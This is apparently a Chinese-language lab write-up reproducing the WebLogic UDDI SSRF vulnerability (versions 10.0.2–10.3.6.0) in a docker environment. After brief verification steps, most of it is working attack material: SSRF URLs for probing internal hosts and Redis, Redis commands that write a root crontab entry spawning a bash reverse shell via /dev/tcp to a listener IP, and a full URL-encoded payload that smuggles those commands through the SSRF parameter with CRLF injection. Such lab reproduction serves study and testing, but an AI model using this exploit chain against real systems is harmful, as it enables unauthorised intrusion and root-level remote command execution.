漏洞復現環境搭建請參考
http://t.csdnimg.cn/svKal
docker未能成功啟動redis請參考
http://t.csdnimg.cn/5osP3
漏洞原理
Weblogic的uddi組件提供了從其他服務器應用獲取數據的功能并且沒有對目標地址做過濾和限制,造成了SSRF漏洞,利用該漏洞可以向內網中其他服務器發送任意HTTP請求。
漏洞版本
weblogic 10.0.2 -- 10.3.6.0
漏洞驗證
(1)訪問web站點,weblogic經典頁面
(2)weblogicscan掃描,發現存在漏洞,進行SSRF漏洞復現操作
(3)或者訪問以下組件所在路徑,出現以下頁面則證明存在該漏洞
uddiexplorer/SearchPublicRegistries.jsp
http://192.168.88.128:7001/uddiexplorer/SearchPublicRegistries.jsp
漏洞利用
(1)利用以下payload探測內網狀態
#提交參數值為url:port,根據返回錯誤不同,可對內網狀態進行探測
#http://xxxx:xxxx/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://xxxx:xx
http://192.168.88.128:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.88.128:80
(2)獲取內網中redis的Ip,對其進行探測
(3)利用上面的payload形式探測redis是否開放服務
http://192.168.88.128:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379
(4)redis開啟服務,攻擊機開啟監聽
(5)利用redis計劃任務進行反彈shell
set 1 "\n\n\n\n* * * * * root bash -c 'sh -i >& /dev/tcp/192.168.88.128:8888 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save#url編碼(修改IP和端口號即可)
http://192.168.88.128:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.88.128%2F8888%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
(6)成功反彈shell